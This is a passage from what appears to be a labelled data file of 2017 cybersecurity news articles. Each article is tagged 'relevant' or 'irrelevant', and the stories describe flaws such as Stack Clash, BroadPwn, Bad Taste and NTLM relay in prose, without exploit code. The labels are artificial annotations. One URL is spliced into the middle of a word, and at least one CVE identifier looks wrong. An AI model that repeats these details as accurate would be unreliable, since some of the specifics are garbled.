Evans said. ""An uninitialized image decode buffer is used as the basis for an image rendered back to the client."" ""This leaks server-side memory. This type of vulnerability is fairly stealthy compared to an out-of-bounds read because the server will never crash. However, the leaked secrets will be limited to those present in freed heap chunks."" Yahoo Retires 'Buggy' ImageMagick Library After Evans had submitted his 18-byte exploit code to Yahoo, the company decided to retire the ImageMagick library altogether, rather than fixing the issue. Evans also warned of another version of Yahoobleed, dubbed Yahoobleed2, which was the due to Yahoo's failure to install a critical patch released in January 2015. He said the flaws combined could allow attackers to obtain browser cookies, authentication tokens, and private images belonging to Yahoo Mail users. Evans was awarded a bug bounty payment of $14,000 -- $778 per byte for his exploit code -- by the tech giant, who decided to double the bounty to $28,000 after knowing Evans intention to donated his reward to a charity. After Yahoo has been aware of the issue, Evans reported the vulnerability to the ImageMagick team, who released ImageMagick version 7.0.5-1 two months ago with a fix for the issue. So, Other widely used Web services using the ImageMagick library are likely still vulnerable to the bug and are advised to apply the patches as soon as possible.",relevant
"Your Linux Machine Can Be Hacked Remotely With Just A Malicious DNS Response A critical vulnerability has been discovered in Systemd, the popular init system and service manager for Linux operating systems, that could allow remote attackers to potentially trigger a buffer overflow to execute malicious code on the targeted machines via a DNS response. The vulnerability, designated as CVE-2017-9445, actually resides in the 'dns_packet_new' function of 'systemd-resolved,' a DNS response handler component that provides network name resolution to local applications. According to an advisory published Tuesday, a specially crafted malicious DNS response can crash 'systemd-resolved' program remotely when the system tries to lookup for a hostname on an attacker-controlled DNS service. Eventually, large DNS response overflows the buffer, allowing an attacker to overwrite the memory which leads to remote code execution. This means the attackers can remotely run any malware on the targeted system or server via their evil DNS service. ""In systemd through 233, certain sizes passed to dns_packet_new in systemd-resolved can cause it to allocate a buffer that's too small,"" explains Chris Coulson, Ubuntu developer at Canonical. ""A malicious DNS server can exploit this by responding with a specially crafted TCP payload to trick systemd-resolved into allocating a buffer that's too small, and subsequently write arbitrary data beyond the end of it."" This vulnerability has been present since Systemd version 223 introduced in June 2015 and is present in all the way up to, including Systemd version 233 launched in March this year. Of course, systemd-resolved must be running on your system for it to be vulnerable. The bug is present in Ubuntu versions 17.04 and version 16.10; Debian versions Stretch (aka Debian 9), Buster (aka 10) and Sid (aka Unstable); and various other Linux distributions that use Systemd. Security patches have been rolled out to address the issue, so users and system administrators are strongly recommended to install them and update their Linux distros as soon as possible.",relevant
"A Decade Old Unix/Linux/BSD Root Privilege-Escalation Bug Discovered Update: Find working Exploits and Proof-of-Concepts at the bottom of this article. Security researchers have discovered more than a decade-old vulnerability in several Unix-based operating systems — including Linux, OpenBSD, NetBSD, FreeBSD and Solaris — which can be exploited by attackers to escalate their privileges to root, potentially leading to a full system takeover. Dubbed Stack Clash, the vulnerability (CVE-2017-1000364) has been discovered in the way memory was being allocated on the stack for user space binaries. Exploiting Stack Clash Bug to Gain Root Access The explanation is simple: Each program uses a special memory region called the stack, which is used to store short-term data. It expands and contracts automatically during the execution of any program, depending upon the needs of that program. According to researchers at Qualys, who discovered and reported this bug, a malicious program can attempt to use more memory space than available on the stack, which could overflow the memory, causing it to collide or clash with nearby memory regions and overwrite their content. Moreover, the Stack Clash exploit can also bypass the stack guard-page, a memory management protection introduced in 2010, after this issue was exploited in 2005 and 2010. ""Unfortunately, a stack guard-page of a few kilobytes is insufficient: if the stack-pointer 'jumps' over the guard-page—if it moves from the stack into another memory region without accessing the guard-page—then no page-fault exception is raised and the stack extends into the other memory region,"" an advisory published by Qualys read. The Stack Clash vulnerability requires local access to the vulnerable system for exploitation, but researchers said it could be exploited remotely depending upon the applications. For example, a malicious customer with low privilege account with a web hosting company, running vulnerable system, could exploit this vulnerability to gain control over other websites running on the same server, as well as remotely gain root access and execute malicious code directly. Just yesterday, we reported that how a web hosting company fell victim to a similar attack used to infect Linux servers with a ransomware malware, causing the company to pay more than $1 Million in ransom to get back their files. Attackers can also combine the Stack Clash bug with other critical vulnerabilities, like the Sudo vulnerability recently patched, and then run arbitrary code with the highest privileges, said Qualys researchers. 7 Proof-of-Concept Exploits The researchers said they were able to develop seven exploits and seven proofs of concept (PoCs) for the Stack Clash vulnerability, which works on Linux, OpenBSD, NetBSD, FreeBSD and Solaris on 32-bit and 64-bit x86 processors. However, the researchers have not yet published the exploits and proofs of concept, giving users and admins enough time to patch their systems before they go into the Stack Clash exploits public. The PoCs follow four steps, which include 'Clashing' the stack with another memory region, running the stack pointer to the stack's start, 'Jumping' over the stack guard-page and 'Smashing' the stack or the other memory regions. Among distros and systems affected by Stack Clash include: Sudo on Debian, Ubuntu, and CentOS ld.so and most SUID-root binaries on Debian, Ubuntu, Fedora, and CentOS Exim on Debian rsh on Solaris 11 and so on Red Hat Enterprise The company also believes that other operating systems, including Microsoft's Windows, Apple's OS X/macOS and Google's Linux-based Android OS could also be vulnerable to Stack Clash, though it is yet to be confirmed. Patch Available; Update Now Many affected vendors have already issued security patches for the bug, so users and administrators are advised to install patches a soon as possible. If security patches from your vendor are yet to be released, you can reboot your systems or can manually apply stack limits to local users' applications. Simply, set the hard RLIMIT STACK and RLIMIT_AS of local users and remote services to a low value. It is also recommended to recompile all userland code (ld.so, libraries, binaries) with the –fstack-check feature. This would prevent the stack pointer from moving into another memory region without accessing the stack guard-page and would kill Stack Clash dead. Exploits and Proof-of-Concepts Released! Since Fedora and Slackware have published updates, and FreeBSD and NetBSD have issued patches, Qualys researchers have finally released exploits and POCs for the Stack Clash vulnerability. You can find all exploits and PoCs here and here.",relevant
"Critical Skype Bug Lets Hackers Remotely Execute Malicious Code A critical vulnerability has been discovered in Microsoft-owned most popular free web messaging and voice calling service Skype that could allow hackers to remotely execute malicious code and crash systems. Skype is a free online service that allows users to communicate with peers by voice, video, and instant messaging over the Internet. The service was acquired by Microsoft Corporation in May 2011 for US$8.5 Billion due to its worldwide popularity. Security researcher Benjamin Kunz-Mejri from Germany-based security firm Vulnerability Lab discovered the previously unknown stack buffer overflow vulnerability, which is documented in CVE-2017-9948, in Skype Web's messaging and call service during a team conference call. The vulnerability is considered a high-security risk with a 7.2 CVSS score and affects Skype versions 7.2, 7.35, and 7.36 on Windows XP, Windows 7 and Windows 8, Mejri said in a public security disclosure published on Monday. ""The issue can be exploited remotely via session or by local interaction. The problem is located in the print clipboard format & cache transmit via remote session on Windows XP, Windows 7, Windows 8 and Windows 10. In Skype v7.37 the vulnerability is patched,"" the security firm wrote. No User Interaction Needed What's worst? The stack buffer overflow vulnerability doesn't require any user interaction, and only require a low privilege Skype user account. So, an attacker can remotely crash the application ""with an unexpected exception error, to overwrite the active process registers,"" or even execute malicious code on a target system running the vulnerable Skype version. The issue resides in the way Skype uses the 'MSFTEDIT.DLL' file in case of a copy request on local systems. Here's How Attackers can Exploit this Flaw According to the vulnerability report, attackers can craft a malicious image file and then copy and paste it from a clipboard of a computer system into a conversation window in the Skype application. Once this image is hosted on a clipboard on both the remote and the local systems, Skype experiences a stack buffer overflow, causing errors and crashing the application, which left the door open for more exploits. ""The limitation of the transmitted size and count for images via print of the remote session clipboard has no secure limitations or restrictions. Attackers [can] crash the software with one request to overwrite the EIP register of the active software process,"" researchers from Vulnerability Lab says. ""Thus allows local or remote attackers to execute own codes on the affected and connected computer systems via the Skype software,"" they added. Proof-of-Concept Code Released The security firm has also provided proof-of-concept (PoC) exploit code that you can use to test the flaw. Vulnerability Lab reported the flaw to Microsoft on 16th May, and Microsoft fixed the issue and rolled out a patch on 8 June in Skype version 7.37.178. If you are Skype user, make sure that you run the latest version of the application on your system in order to protect themselves from cyber attacks based on this vulnerability.",relevant
"Millions of Android Devices Using Broadcom Wi-Fi Chip Can Be Hacked Remotely Google has released its latest monthly security update for Android devices, including a serious bug in some Broadcom Wi-Fi chipsets that affects millions of Android devices, as well as some iPhone models. Dubbed BroadPwn, the critical remote code execution vulnerability resides in Broadcom's BCM43xx family of WiFi chipsets, which can be triggered remotely without user interaction, allows a remote attacker to execute malicious code on targeted Android devices with kernel privileges. ""The most severe vulnerability in this [runtime] section could enable a remote attacker using a specially crafted file to execute arbitrary code within the context of an unprivileged process,"" Google describes in the July 2017 Android Security Bulletin. The BroadPwn vulnerability (CVE-2017-3544) has been discovered by Exodus Intelligence researcher Nitay Artenstein, who says the flawed Wi-Fi chipset also impacts Apple iOS devices. Since Artenstein will be presenting his finding at Black Hat 2017 event, details about the BroadPwn bug is scarce at this moment. ""The Broadcom BCM43xx family of Wi-Fi chips is found in an extraordinarily wide range of mobile devices – from various iPhone models to HTC, LG, Nexus and practically the full range of Samsung flagship devices,"" the abstract for Artenstein's talk says. Besides the fix for the BroadPwn vulnerability, July's Android Security Bulletin includes patches for 10 critical, which are all remote code execution bugs, 94 high and 32 moderate rated vulnerabilities. Two months ago, an over-the-air hijacking vulnerability was discovered in Broadcom WiFi SoC (Software-on-Chip) chips, allowing attackers within the same WiFi network to remotely hack, iPhones, iPads, iPods and Android handsets without any user interaction. At that time, Apple rushed out an emergency iOS patch update to address the serious bug, and Google addressed the flaw in its Android April 2017 security updates. Android Security Bulletin: July 2017 Updates Among the other critical flaws is a long list of vulnerabilities in the Mediaserver process in the Android operating system, which also allows attackers to perform remote code execution on the affected devices. One of the vulnerabilities is an issue with the way the framework handles some specific files. The libhevc library has an input validation vulnerability (CVE-2017-0540), which can be exploited using a crafted file. ""A remote code execution vulnerability in libhevc in Mediaserver could enable an attacker using a specially crafted file to cause memory corruption during media file and data processing,"" the vulnerability description says. ""This issue is rated as Critical due to the possibility of remote code execution within the context of the Mediaserver process."" The over-the-air updates and firmware for Google devices have already been issued by the company for its Pixel and Nexus devices, though rest of Android still need to wait for an update from their OEMs, leaving million of Android devices vulnerable for next few months.",relevant
"Researchers Crack 1024-bit RSA Encryption in GnuPG Crypto Library Security boffins have discovered a critical vulnerability in a GnuPG cryptographic library that allowed the researchers to completely break RSA-1024 and successfully extract the secret RSA key to decrypt data. Gnu Privacy Guard (GnuPG or GPG) is popular open source encryption software used by many operating systems from Linux and FreeBSD to Windows and macOS X. It's the same software used by the former NSA contractor and whistleblower Edward Snowden to keep his communication secure from law enforcement. The vulnerability, labeled CVE-2017-7526, resides in the Libgcrypt cryptographic library used by GnuPG, which is prone to local FLUSH+RELOAD side-channel attack. A team of researchers — from Technical University of Eindhoven, the University of Illinois, the University of Pennsylvania, the University of Maryland, and the University of Adelaide — found that the ""left-to-right sliding window"" method used by the libgcrypt library for carrying out the mathematics of cryptography leaks significantly more information about exponent bits than for right-to-left, allowing full RSA key recovery. ""In this paper, we demonstrate a complete break of RSA-1024 as implemented in Libgcrypt. Our attack makes essential use of the fact that Libgcrypt uses the left-to-right method for computing the sliding-window expansion,"" the researchers wrote in the research paper. ""The pattern of squarings and multiplications in left-to-right sliding windows leaks significantly more information about the exponent than right-to-left. We show how to extend the Heninger-Shacham algorithm for partial key reconstruction to make use of this information and obtain a very efficient full key recovery for RSA-1024."" L3 Cache Side-Channel Attack requires an attacker to run arbitrary software on the hardware where the private RSA key is used. The attack allows an attacker to extract the secret crypto key from a system by analyzing the pattern of memory utilization or the electromagnetic outputs of the device that are emitted during the decryption process. ""Thus in practice, there are easier ways to access the private keys than to mount this side-channel attack. However, on boxes with virtual machines, this attack may be used by one VM to steal private keys from another VM,"" Libgcrypt advisory reads. Researchers have also provided evidence that the same side channel attack also works against RSA-2048, which require moderately more computation than RSA-1024. The research paper titled, 'Sliding right into disaster: Left-to-right sliding windows leak,' was authored by Daniel J. Bernstein, Joachim Breitner, Daniel Genkin, Leon Groot Bruinderink, Nadia Heninger, Christine van Vredendaal, Tanja Lange and Yuval Yarom. Libgcrypt has released a fix for the issue in Libgcrypt version 1.7.8. Debian and Ubuntu have already updated their library with the latest version of Libgcrypt. So, you are strongly advised to check if your Linux distribution is running the latest version of the Libgcrypt library.",relevant
"Remotely Exploitable Flaw Puts Millions of Internet-Connected Devices at Risk Security researchers have discovered a critical remotely exploitable vulnerability in an open-source software development library used by major manufacturers of the Internet-of-Thing devices that eventually left millions of devices vulnerable to hacking. The vulnerability (CVE-2017-9765), discovered by researchers at the IoT-focused security firm Senrio, resides in the software development library called gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application. Dubbed ""Devil's Ivy,"" the stack buffer overflow vulnerability allows a remote attacker to crash the SOAP WebServices daemon and could be exploited to execute arbitrary code on the vulnerable devices. The Devil's Ivy vulnerability was discovered by researchers while analysing an Internet-connected security camera manufactured by Axis Communications. ""When exploited, it allows an attacker to remotely access a video feed or deny the owner access to the feed,"" researchers say. ""Since these cameras are meant to secure something, like a bank lobby, this could lead to collection of sensitive information or prevent a crime from being observed or recorded."" Axis confirmed the vulnerability that exists in almost all of its 250 camera models (you can find the complete list of affected camera models here) and has quickly released patched firmware updates on July 6th to address the vulnerability, prompting partners and customers to upgrade as soon as possible. However, researchers believe that their exploit would work on internet-connected devices from other vendors as well, as the affected software is used by Canon, Siemens, Cisco, Hitachi, and many others. Axis immediately informed Genivia, the company that maintains gSOAP, about the vulnerability and Genivia released a patch on June 21, 2017. The company also reached out to electronics industry consortium ONVIF to ensure all of its members, including Canon, Cisco, and Siemens, those who make use of gSOAP become aware of the issue and can develop patches to fix the security hole. Internet of Things (IoT) devices has always been the weakest link and, therefore, an easy entry for hackers to get into secured networks. So it is always advisable to keep your Internet-connected devices updated and away from the public Internet.",relevant
"THN Weekly Roundup — 10 Most Important Stories You Shouldn't Miss Here we are with our weekly roundup, briefing this week's top cyber security threats, incidents and challenges. This week has been very short with big news from shutting down of two of the largest Dark Web marketplaces and theft of millions of dollars in the popular Ethereum cryptocurrency to the discovery of new Linux malware leveraging SambaCry exploit. We are here with the outline of this week's stories, just in case you missed any of them. We recommend you read the entire thing (just click 'Read More' because there's some valuable advice in there as well). Here's the list of this Week's Top Stories: 1. Feds Shuts Down AlphaBay and Hansa Dark Web Markets — Dream Market Under Suspicion On Thursday, Europol announced that the authorities had shut down two of the largest criminal Dark Web markets — AlphaBay and Hansa — in what's being called the largest-ever international operation against the dark web's black market conducted by the FBI, DEA and Dutch National Police. Interestingly, the federal authorities shut down AlphaBay, but before taking down Hansa market, they took control of the Dark Web market and kept it running for at least a month in an effort to monitor the activities of its visitors, including a massive flood of Alphabay refugees. After the shutdown of both AlphaBay and Hansa, Dream Market has emerged as the leading player, which has been in business since 2013, but it has now been speculated by many dark web users that Dream Market is also under police control. For detailed information — Read more. 2. New Ransomware Threatens to Send Your Internet History to All Your Friends After WannaCry and Petya ransomware outbreaks, a new strain of ransomware has been making the rounds on the Google Play Store in bogus apps, which targets Android mobile phone users. Dubbed LeakerLocker, instead of encrypting files on your device, this Android ransomware secretly collects personal images, messages and browsing history and then threatens to share them with your contacts if you don't pay $50 (£38). For more detailed information on the LeakerLocker ransomware — Read more. 3. New CIA Leaks — Smartphone Hacking and Malware Development smartphone-hacking-tool WikiLeaks last week published the 16th batch of its ongoing Vault 7 leak, revealing the CIA's Highrise Project that allowed the spying agency to stealthy collect and forwards stolen data from compromised smartphones to its server through SMS messages. This week, the whistleblowing organisation revealed about a CIA contractor — Raytheon Blackbird Technologies — who was responsible for analysing advanced malware and hacking techniques being used in the wild by cyber criminals. For more detailed information on Highrise Project and its contractor Raytheon Blackbird Technologies — Read More. 4. Three Back-to-Back Multi-Million Dollar Ethereum Heist in 20 Days This week, an unknown hacker stole nearly $32 Million worth of Ethereum – one of the most popular and increasingly valuable cryptocurrencies – from wallet accounts linked to at least three companies by exploiting a critical vulnerability in Parity's Ethereum Wallet software. This was the third Ethereum cryptocurrency heist that came out two days after an alleged hacker stole $7.4 Million worth of Ether from trading platform CoinDash and two weeks after someone hacked into South Korean cryptocurrency exchange and stole more than $1 Million in Ether and Bitcoins from user accounts. For more detailed information about the Ethereum Heist — Read More. 5. Critical Gnome Flaw Leaves Linux PCs Vulnerable This week has been bad for Linux users as well. A security researcher discovered a code injection vulnerability in the thumbnail handler component of GNOME Files file manager that allowed hackers to execute malicious code on targeted Linux machines. German researcher Nils Dagsson Moskopp dubbed the vulnerability Bad Taste (CVE-2017-11421) and also released proof-of-concept (PoC) code on his blog to demonstrate the vulnerability. For more details about the Bad Taste vulnerability and its PoC — Read More. 6. New Malware Exploits SambaCry to Hijack NAS Devices sambacry-backdoor-nas-devices Despite being patched in late May, the SambaCry vulnerability is currently being leveraged by a new piece of malware to target the Internet of Things (IoT) devices, particularly Network Attached Storage (NAS) appliances. SambaCry is a 7-year-old critical remote code execution (RCE) vulnerability (CVE-2017-7494) in Samba networking software that could allow a hacker to remotely take full control of a vulnerable Linux and Unix machines. The flaw was discovered and patched two months ago, but researchers at Trend Micro warned that the flaw had been actively exploited by the SHELLBIND malware that mostly targets NAS devices used by small and medium-size businesses. For more detailed information on the SHELLBIND malware — Read More. 7. Devil's Ivy — Millions of Internet-Connected Devices At Risk This week, researchers at the IoT-focused security firm Senrio discovered a critical remotely exploitable vulnerability in an open-source software development library used by major IoT manufacturers that eventually left millions of smart devices vulnerable to hacking. Dubbed Devil's Ivy, the vulnerability (CVE-2017-9765) in the gSOAP toolkit (Simple Object Access Protocol) — an advanced C/C++ auto-coding tool for developing XML Web services and XML application. The researchers also released proof-of-concept (PoC) video demonstrating the RCE on a security camera manufactured by Axis Communications. For more detailed information on the Devil's Ivy and PoC video — Read More. 8. ""Ubuntu Linux for Windows 10 Released"" — Sounds So Weird? Downloading an entire operating system has just become as easy as downloading an application for Windows 10 users, as Microsoft last week announced the availability of popular Linux distro 'Ubuntu' in the Windows App Store. While the company announced its plans to launch Fedora and SUSE Linux as well on Windows Store, the company did not reveal exactly when its users can expect to see these two flavours of Linux distro on the App Store. For detailed information on how to install and run Ubuntu on Windows 10 — Read More. 9. Over 70,000 Memcached Servers Vulnerable to Hacking memcached-vulnerabilities It's been almost eight months since the Memcached developers have patched several critical remote code execution (RCE) vulnerabilities in the software, but tens of thousands of servers running Memcached application are still vulnerable. Cisco's Talos intelligence and research group last year discovered three critical RCE vulnerabilities in Memcached — a moderhttps://thehackernews.com/2017/07/segway-hoverboard-hacking.htmln open-source and easily deployable distributed caching system that allows objects to be stored in memory. The vulnerability exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers, but the team of researchers scanned the internet on two different occasions and found that over 70,000 servers are still vulnerable to the attacks, including ransomware attacks similar to the one that hit MongoDB databases in late December. For more in-depth information on the Memcached vulnerabilities — Read More. 10. Tor Launches Bug Bounty Program for Public After its intention to launch a public bug bounty program in late December 2015, the Tor Project has finally launched a ""Bug Bounty Program,"" encouraging hackers and security researchers to find and privately report bugs that could compromise the anonymity network. The bug bounty reports will be sent through HackerOne — a startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the U.S. Department of Defense for Hack the Pentagon initiative. For detailed information on bug bounty prices and types of valid vulnerabilities — Read More. Other Important News This Week Besides these, there were lots of incidents happened this week, including: Microsoft's smart move to help take down cyber espionage campaigns conducted by ""Fancy Bear"" hacking group. A new credential stealing malware found being sold for as cheap as $7 on underground forums. Cisco patched a highly critical RCE vulnerability in its WebEx browser extension for Chrome and Firefox, which could allow attackers to execute malicious code on a victim's computer remotely. Windows 10 now let you Reset forgotten password directly from your computer's Lock Screen. Several critical vulnerabilities in Segway Ninebot miniPRO could allow hackers to remotely take ""full control"" over the hoverboard within range and leave riders out-of-control. Ashley Madison's parent company Ruby Corp has agreed to pay a total of $11.2 Million to roughly 37 million users whose personal details were exposed in a massive data breach two years ago.",irrelevant
"Adobe is Finally Killing FLASH — At the End of 2020! Finally, Adobe is Killing FLASH — the software that helped make the Internet a better place with slick graphics, animation, games and applications and bring online video to the masses, but it has been hated for years by people and developers over its buggy nature. But the end of an era for Adobe Flash is near. Adobe announced Tuesday that the company would stop providing updates and stop distributing Flash Player at the end of 2020. The move has been applauded by many, as Adobe Flash has been infamous for frequent zero-day attacks, which is why it has long been one of the favourite tools for hackers and cyber criminals. It's been two decades since Adobe Flash has ruled the Web Space Animation Arena, which was the de facto standard for playing the online videos, but hackers increasingly found ways to exploit security holes in the technology and hack into user's computers. ""We will stop updating and distributing the Flash Player at the end of 2020 and encourage content creators to migrate any existing Flash content to these new open formats,"" Adobe said on its website. Until 2020, Adobe will still be partnered with Apple, Google, Facebook, Microsoft and Mozilla to offer security updates for Flash Player in their web browsers as well as support new versions of the software, but the company will not provide any new Flash feature. In 2010, former Apple CEO Steve Jobs declared Flash Player obsolete. Earlier last year, Google also started banning Adobe Flash Player in Chrome 53 in favour of HTML5 by banning Flash banner from its Adwords Advertising platform. To put a full stop on Flash, many major tech companies like Apple, Facebook, Youtube, Google Chrome, Firefox had been magnetised towards the new substitutor - HTML 5. Microsoft just announced its plans to disable Flash Player by default in Edge and Internet Explorer in 2019, with a full removal from all supported versions of Windows by 2020. Google will continue phasing out Flash over the next few years by blocking auto-playing of Flash ads by default on its browser. In January last year, YouTube moved away from Flash for delivering videos. Mozilla also blocked the Flash plugin entirely from Firefox and will allow Firefox Extended Support Release (ESR) users to keep using Flash until the end of 2020. Apple's Safari currently requires explicit permission on each website even when Mac users opt to install Flash. So, the date for the funeral of Adobe Flash Player is Dec. 31, 2020. However, the company will provide best in class animation and video tools such as Adobe Animate CC — the company's Premier Web animation tool for developing HTML5 content. Adobe Animate CC mostly looks like an update to the Flash Professional software – supports Adobe Flash (SWF) and AIR formats 'as first-class citizens,' along with other animation and video formats, including HTML5 canvas, 4K and WebGL output.",irrelevant
"Critical Code Injection Flaw In Gnome File Manager Leaves Linux Users Open to Hacking A security researcher has discovered a code injection vulnerability in the thumbnail handler component of GNOME Files file manager that could allow hackers to execute malicious code on targeted Linux machines. Dubbed Bad Taste, the vulnerability (CVE-2017-11421) was discovered by German researcher Nils Dagsson Moskopp, who also released proof-of-concept code on his blog to demonstrate the vulnerability. The code injection vulnerability resides in ""gnome-exe-thumbnailer"" — a tool to generate thumbnails from Windows executable files (.exe/.msi/.dll/.lnk) for GNOME, which requires users to have Wine application installed on their systems to open it. Those who are unaware, Wine is a free and open-source software that allows Windows applications to run on the Linux operating system. Moskopp discovered that while navigating to a directory containing the .msi file, GNOME Files takes the filename as an executable input and run it in order to create an image thumbnail. For successful exploitation of the vulnerability, an attacker can send a crafted Windows installer (MSI) file with malicious VBScript code in its filename, which if downloaded on a vulnerable system would compromise the machine without further user interaction. ""Instead of parsing an MSI file to get its version number, this code creates a script containing the filename for which a thumbnail should be shown and executes that using Wine,"" Moskopp explains while demonstrating his PoC. ""The script is constructed using a template, which makes it possible to embed VBScript in a filename and trigger its execution."" The flaw can be exploited by potential hackers using other attack vectors as well, for example, by directly inserting a USB-drive with a malicious file stored on it, or delivering the malicious file via drive-by-downloads. How to Protect Yourself from Bad Taste Moskopp reported the vulnerability to the GNOME Project and the Debian Project. Both of them patched the vulnerability in the gnome-exe-thumbnailer file. The vulnerability affects gnome-exe-thumbnailer before 0.9.5 version. So, if you run a Linux OS with the GNOME desktop, check for updates immediately before you become affected by this critical vulnerability. Meanwhile, Moskopp also advised users to: Delete all files in /usr/share/thumbnailers. Do not use GNOME Files. Uninstall any software that facilitates automatically execution of filenames as code. Moskopp also advised developers to not use ""bug-ridden ad-hoc parsers"" to parse files, to ""fully recognise inputs before processing them,"" and to use unparsers, instead of templates.",relevant
"Over 70,000 Memcached Servers Still Vulnerable to Remote Hacking Nothing in this world is fully secure, from our borders to cyberspace. I know vulnerabilities are bad, but the worst part comes in when people just don't care to apply patches on time. Late last year, Cisco's Talos intelligence and research group discovered three critical remote code execution (RCE) vulnerabilities in Memcached that exposed major websites including Facebook, Twitter, YouTube, Reddit, to hackers. Memcached is a popular open-source and easily deployable distributed caching system that allows objects to be stored in memory. The Memcached application has been designed to speed up dynamic web applications (for example php-based websites) by reducing stress on the database that helps administrators to increase performance and scale web applications. It's been almost eight months since the Memcached developers have released patches for three critical RCE vulnerabilities (CVE-2016-8704, CVE-2016-8705 and CVE-2016-8706) but tens of thousands of servers running Memcached application are still vulnerable, allowing attackers to steal sensitive data remotely. Researchers at Talos conducted Internet scans on two different occasions, one in late February and another in July, to find out how many servers are still running the vulnerable version of the Memcached application. And the results are surprising... Results from February Scan: Total servers exposed on the Internet — 107,786 Servers still vulnerable — 85,121 Servers still vulnerable but require authentication — 23,707 And the top 5 countries with most vulnerable servers are the United States, followed by China, United Kingdom, France and Germany. Results from July Scan: Total servers exposed on the Internet — 106,001 servers still vulnerable — 73,403 Servers still vulnerable but require authentication — 18,012 After comparing results from both the Internet scans, researchers learned that only 2,958 servers found vulnerable in February scan had been patched before July scan, while the remaining are still left vulnerable to the remote hack. Data Breach & Ransom Threats This ignorance by organisations to apply patches on time is concerning, as Talos researchers warned that these vulnerable Memcached installations could be an easy target of ransomware attacks similar to the one that hit MongoDB databases in late December. Although unlike MongoDB, Memcached is not a database, it ""can still contain sensitive information and disruption in the service availability would certainly lead to further disruptions on dependent services."" The flaws in Memcached could allow hackers to replace cached content with their malicious one to deface the website, serve phishing pages, ransom threats, and malicious links to hijack victim's machine, placing hundreds of millions of online users at risk. ""With the recent spate of worm attacks leveraging vulnerabilities this should be a red flag for administrators around the world,"" the researchers concluded. ""If left unaddressed the vulnerabilities could be leveraged to impact organisations globally and affect business severely. It is highly recommended that these systems be patched immediately to help mitigate the risk to organisations."" Customers and organisations are advised to apply the patch as soon as possible even to Memcached deployments in ""trusted"" environments, as attackers with existing access could target vulnerable servers to move laterally within those networks.",relevant
"Tor Launches Bug Bounty Program — Get Paid for Hacking! With the growing number of cyber attacks and breaches, a significant number of companies and organisations have started Bug Bounty programs for encouraging hackers, bug hunters and researchers to find and responsibly report bugs in their services and get rewarded. Following major companies and organisations, the non-profit group behind Tor Project – the largest online anonymity network that allows people to hide their real identity online – has finally launched a ""Bug Bounty Program."" The Tor Project announced on Thursday that it joined hands with HackerOne to start a public bug bounty program to encourage hackers and security researchers to find and privately report vulnerabilities that could compromise the anonymity network. HackerOne is a bug bounty startup that operates bug bounty programs for companies including Yahoo, Twitter, Slack, Dropbox, Uber, General Motors – and even the United States Department of Defense for Hack the Pentagon initiative. Bug bounty programs are cash rewards gave by companies or organisations to white hat hackers and researchers who hunt for serious security vulnerabilities in their website or products and then responsibly disclose them. The Tor Project announced its intention to launch a public bug bounty program in late December 2015 during a talk by the Tor Project at Chaos Communication Congress (CCC) held in Hamburg, Germany. However, it launched the invite-only bounty program last year. The highest payout for the flaws has been kept $4,000 — bug hunters can earn between $2,000 and $4,000 for High severity vulnerabilities, between $500 and $2,000 for Medium severity vulnerabilities, and a minimum of $100 for Low severity bugs. Moreover, less severe issues will be rewarded with a t-shirt, stickers and a mention in Tor's hall of fame. ""Tor users around the globe, including human rights defenders, activists, lawyers, and researchers, rely on the safety and security of our software to be anonymous online,"" Tor browser developer Georg Koppen said in a blog post. ""Help us protect them and keep them safe from surveillance, tracking, and attacks."" The Tor Project is a non-profit organisation behind the Tor anonymizing network that allows any online user to browse the Internet without the fear of being tracked. The Project first announced its plan to launch the bug bounty program weeks after it accused the FBI of paying the researchers of Carnegie Mellon University (CMU) at least $1 Million to help them Unmask Tor users and reveal their IP addresses, though FBI denies the claims.",irrelevant
"Critical Flaws Found in Windows NTLM Security Protocol – Patch Now As part of this month's Patch Tuesday, Microsoft has released security patches for a serious privilege escalation vulnerability which affect all versions of its Windows operating system for enterprises released since 2007. Researchers at behavioral firewall specialist Preempt discovered two zero-day vulnerabilities in Windows NTLM security protocols, both of which allow attackers to create a new domain administrator account and get control of the entire domain. NT LAN Manager (NTLM) is an old authentication protocol used on networks that include systems running the Windows operating system and stand-alone systems. Although NTLM was replaced by Kerberos in Windows 2000 that adds greater security to systems on a network, NTLM is still supported by Microsoft and continues to be used widely. The first vulnerability involves unprotected Lightweight Directory Access Protocol (LDAP) from NTLM relay, and the second impact Remote Desktop Protocol (RDP) Restricted-Admin mode. LDAP fails to adequately protect against NTLM relay attacks, even when it has built-in LDAP signing the defensive measure, which only protects from man-in-the-middle (MitM) attacks and not from credential forwarding at all. The vulnerability could allow an attacker with SYSTEM privileges on a target system to use incoming NTLM sessions and perform the LDAP operations, like updating domain objects, on behalf of the NTLM user. ""To realize how severe this issue is, we need to realize all Windows protocols use the Windows Authentication API (SSPI) which allows downgrade of an authentication session to NTLM,"" Yaron Zinar from Preempt said in a blog post, detailing the vulnerability. ""As a result, every connection to an infected machine (SMB, WMI, SQL, HTTP) with a domain admin would result in the attacker creating a domain admin account and getting full control over the attacked network."" Video Demonstration of Relay Attack Preempt researchers also provided a video to demonstrate credential relay attacks. The second NTLM vulnerability affects Remote Desktop Protocol Restricted-Admin mode – this RDP Restricted-Admin mode allows users to connect to a remote computer without giving their password. According to Preempt researchers, RDP Restricted-Admin allows authentication systems to downgrade to NTLM. This means the attacks performed with NTLM, such as credential relaying and password cracking, could also be carried out against RDP Restricted-Admin. When combined with the LDAP relay vulnerability, an attacker could create a fake domain admin account whenever an admin connects with RDP Restricted-Admin and get control of the entire domain. The researchers discovered and privately reported LDAP and RDP Relay vulnerabilities in NTLM to Microsoft in April. However, Microsoft acknowledged the NTLM LDAP vulnerability in May, assigning it CVE-2017-8563, but dismissed the RDP bug, claiming it is a ""known issue"" and recommending configuring a network to be safe from any NTLM relay. ""In a remote attack scenario, an attacker could exploit this vulnerability by running a specially crafted application to send malicious traffic to a domain controller. An attacker who successfully exploited this vulnerability could run processes in an elevated context,"" Microsoft explained in its advisory. ""The update addresses this vulnerability by incorporating enhancements to authentication protocols designed to mitigate authentication attacks. It revolves around the concept of channel binding information."" So, sysadmins are recommended to patch their vulnerable servers with NT LAN Manager enabled as soon as possible. You can either consider turning NT LAN Manager off or require that incoming LDAP and SMB packets are digitally signed in order to prevent credential relay attacks. Besides this NTLM relay flaw, Microsoft has released patches for 55 security vulnerabilities, which includes 19 critical, in several of its products, including Edge, Internet Explorer, Windows, Office and 